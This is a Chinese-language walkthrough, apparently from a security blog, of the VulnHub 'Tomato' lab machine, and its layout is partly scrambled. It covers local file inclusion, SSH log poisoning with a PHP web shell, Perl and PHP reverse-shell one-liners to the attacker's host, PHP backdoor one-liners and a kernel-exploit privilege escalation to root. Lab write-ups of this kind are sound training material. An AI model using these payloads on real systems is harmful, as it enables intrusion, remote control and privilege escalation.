声明:该篇文章仅供学习网络安全技术参考研究使用,请勿使用相关技术做违法操作。本公众号的技术文章可以转载,能被更多人认可本文的创作内容属实荣幸之至,请在转载时标明转载来源即可.也欢迎对文章中出现的不足和错误进行批评指正!
实战打靶系列第 22 篇文章
kali:10.0.0.7/24
靶机:10.0.0.8/24
靶机下载:https://download.vulnhub.com/tomato/Tomato.ova
目标:一个 flag + root权限
难度:低
web
路径和相关网页的源码,发现注释ssti
等漏洞都是可以通过这linux
靶机在确定是否有python
时,请把 python,python2,python3
==全部试一遍==passwd
ssh
秘钥登陆默认存放秘钥的文件log
日志gcc:glibc
的指定主机发现,端口扫描,服务确定。21:ftp
的 vsftpd 3.0.3
是没有什么远程执行的漏洞,但是有个拒绝服务的漏洞(==和我们打靶无关==)。另外靶机的 ssh
服务这次开在了 2211
端口,更为重要的信息是 nmap
的脚本扫描是没有返向任何目标靶机可以利用的漏洞信息。
访问靶机相关的 web
页面,其中 80
端口就是一个简单的图片页面没有什么价值(==源码也是没有任何信息==),8000
端口的 web
一访问就需要我们输入账号密码(==字典爆破也没有效果==)。
那信息收集几乎就只有目录爬取这个思路了,使用 dirsearch
来帮我们获取后台路径(==默认的字典是爬不出来,需要指定字典==)。
浏览爬取到的相关目录,浏览到/antibot_image/antibots/
下的readme.txt, jpg
文件时,可以大致的知道靶机上可能有 ==反爬虫软件==。点开 info.php
文件(==php环境的配置的展示网页==)并查看其源码,发现个非常重要的注释,提示我们该网页存在个参数 GET:image
参数。 || ==bots:反爬虫技术==
大胆的推测 image
参数后面可能为路径,赋值为 /etc/passwd
,再查看页面源码直到最后,发现网页竟然真的包含了 /etc/passwd
,同时不难发现只有 root,tomato
两个用户具有 shell
。
==下面为三个走不通的思路:==
ssh
密码爆破/home/tomato/.ssh/id_rsa
看是否可以通过秘钥传递绕过 ssh
需要输入密码info.php
文件都可以证明靶机是不能进行远程文件包含的。因为 phpinfo
直接禁止 allow_url_include
目标靶机存在明显的文件包含漏洞(==给我们感觉就应该从这个漏洞入手,完全凭借经验==),进而想到是否可以包含 log
文件呢?(==log文件这个思路在文件上传漏洞也是可以利用的==) 当对靶机开放的所有服务默认的 log
文件路径进行包含发现都是失败的(==失败可能的原因:权限不够,没有开启日志,目录不对等等==),直到对系统本身的 log
文件 /var/log/auth.log
包含时才有一定的收获。
这里值得注意,
info.php
是个php
文件,但是我们包含的文件是直接以源码的形式呈现到源码中。这就意味着如果包含的日志中有恶意php,js
等语言是会php
语言被执行的。
先用一个根本不存在的用户,测试是否能够成功写入到 log
中: ssh [email protected] -p2211
。结果不用多说,所以尝试 反弹shell
是有可能的。
键入ssh '<?php echo shell_exec($_GET["cmd"]); ?>'@10.0.0.8 -p2211
来将恶意代码视为用户名,利用log
写入到靶机中(==外侧一定要使用单引号,cmd使用双引号。否则无法执行==)。不过再次包含 log
文件的时候并没有发现恶意代码,这是个好事表明靶机并没有将恶意代码当为字符串执行,而是将其看为 php
代码执行所以导致无法查看。上载下面的 payload
发现成功的反弹了shell
。
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.7:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
由于靶机存在 nc
工具,我们就通过 nc
来进行文件的传输。注意一下几点:
将检测工具放在/tmp
使用
靶机的 shell
必须简单的升级后才能使用 cd /tmp
来进行跳转目录 。升级目录:/bin/bash -i
-w 1
参数表示在建立联系完毕后 1秒
后自动断开 nc
连接
更改检测脚本权限,运行后按照他提供漏洞利用的可能性来挨个尝试(==第二个是成功的==)。
可以看到这个工具会检测73个内核漏洞,43个用户权限漏洞。
然后利用python3
来升级一下 shell
,由于靶机是没有 gcc
的利用环境的。我们必须在 kali
上编译后再上载给靶机上执行。但是我们却发现一个非常麻烦的问题,当获取的exp
更改权限执行后发现靶机上的动态链接库有问题:``GLIBC_3.4' not found`。
同上面漏洞的exp地址后面的序号,直接在 kali
中键入searchsploit -p 45010
,就可返回只带的漏洞脚本当我们确定靶机上是否有python环境的时候,一定要将 python,python2,pthon3
都试一遍。靶机上是有python3
。说以我们可以升级shell
通过在 kali,靶机
上分别键入以下命令,可以看到靶机上确实没有 GLIBC_2.34
的。
strings /lib/x86_64-linux-gnu/libc.so.6 |grep GLIBC_2.3
当在 kali
中使用固定版本的 glibc
编译后的 exp
上传到靶机后,赋予执行权限进行运行发现成功的提权为 root
用户,然后进行 flag
的读取完成打靶。
先获取对应的 glibc
,然后解压改文件:
wget http://launchpadlibrarian.net/172657656/libc6_2.19-0ubuntu6_amd64.deb
接着进行解压和 gcc
的指定编译
最后进行提权脚本的使用,记得添加可执行权限
则个编译出现的
not find
问题在第一个靶机上也是存在同样的问题,解决方法是相同的。
what?
Linux Exploit Suggester 是使用 Perl 编程语言编写的工具,分析目标系统的内核版本和软件包,并与已知的漏洞数据库进行比对,以提供漏洞建议,==需要自己安装==。
就是一个漏洞扫描脚本,在靶机上运行来获取器漏洞存在的可能
如何食用
下载完成后再对应的文件中会有一个 .sh
的文件,直接将该文件上传到靶机上运行即可
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.7:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
php -r '$sock=fsockopen(\"10.0.0.7\",4444);exec(\"/bin/sh -i <&3 >&3 2>&3\");'
nc
在通过 which nc
的payload,发现靶机上是有 nc
的。但是当使用的时候出现了两个问题导致我们无法使用 nc
-e
参数tcp连接:nc 10.0.0.7
的时候,会在建立连接后立马断开。导致我们使用 nc
串联技术也是不可能的了python
直接 which
发现靶机都没有python
,但是有==python3==可以进行反弹shell
,这是后续修改的当时打靶还是用的 perl
语言反弹的 shell
perl
使用 which perl
时发现靶机是有该语言环境的,所以但我们使用该语言进行反弹 shell
才成功
在 Linux shell 中,单引号 '
和双引号 "
的区别在于,双引号中的变量会被解析,而单引号中的变量不会被解析。例如,如果你定义了一个变量 var=world
,那么在双引号中输入 echo "hello $var"
会输出 hello world
,而在单引号中输入 echo 'hello $var'
会输出 hello $var
。
蚁剑,卡巴斯基等自动化的后门:<?php eval($_POST['cmd']);?>
eval
其实是不能执行 shell
命令,它只能执行相关的 php
命令。之所以自动化工具能够执行 shell
命令,是因为做了后台的加工
手动的后台反弹:
<?php echo system($_GET['cmd']);?>
<?php echo exec($_GET['cmd']);?>
<?php echo passthru($_GET['cmd']);?>
what?
一个系统日志文件,它记录了与用户身份验证和授权相关的信息。在许多Linux系统中,这个文件用于记录用户登录、登出、密码更改以及其他身份验证事件,==包括 ssh,ftp等登陆信息==。
渗透思路
文件包含来执行一句话木马
what?
Perl 是一种高级、通用、直译式、动态的编程语言,由拉里·沃尔(Larry Wall)设计并开发。它最初被设计用于文本处理,但随着时间的推移,它已经演变成了用于系统管理、网络编程、GUI 编程和 Web 编程等领域的通用编程语言。Perl 语言具有很多特性,如正则表达式、模块化编程、面向对象编程、函数式编程等。
希望这可以帮到你。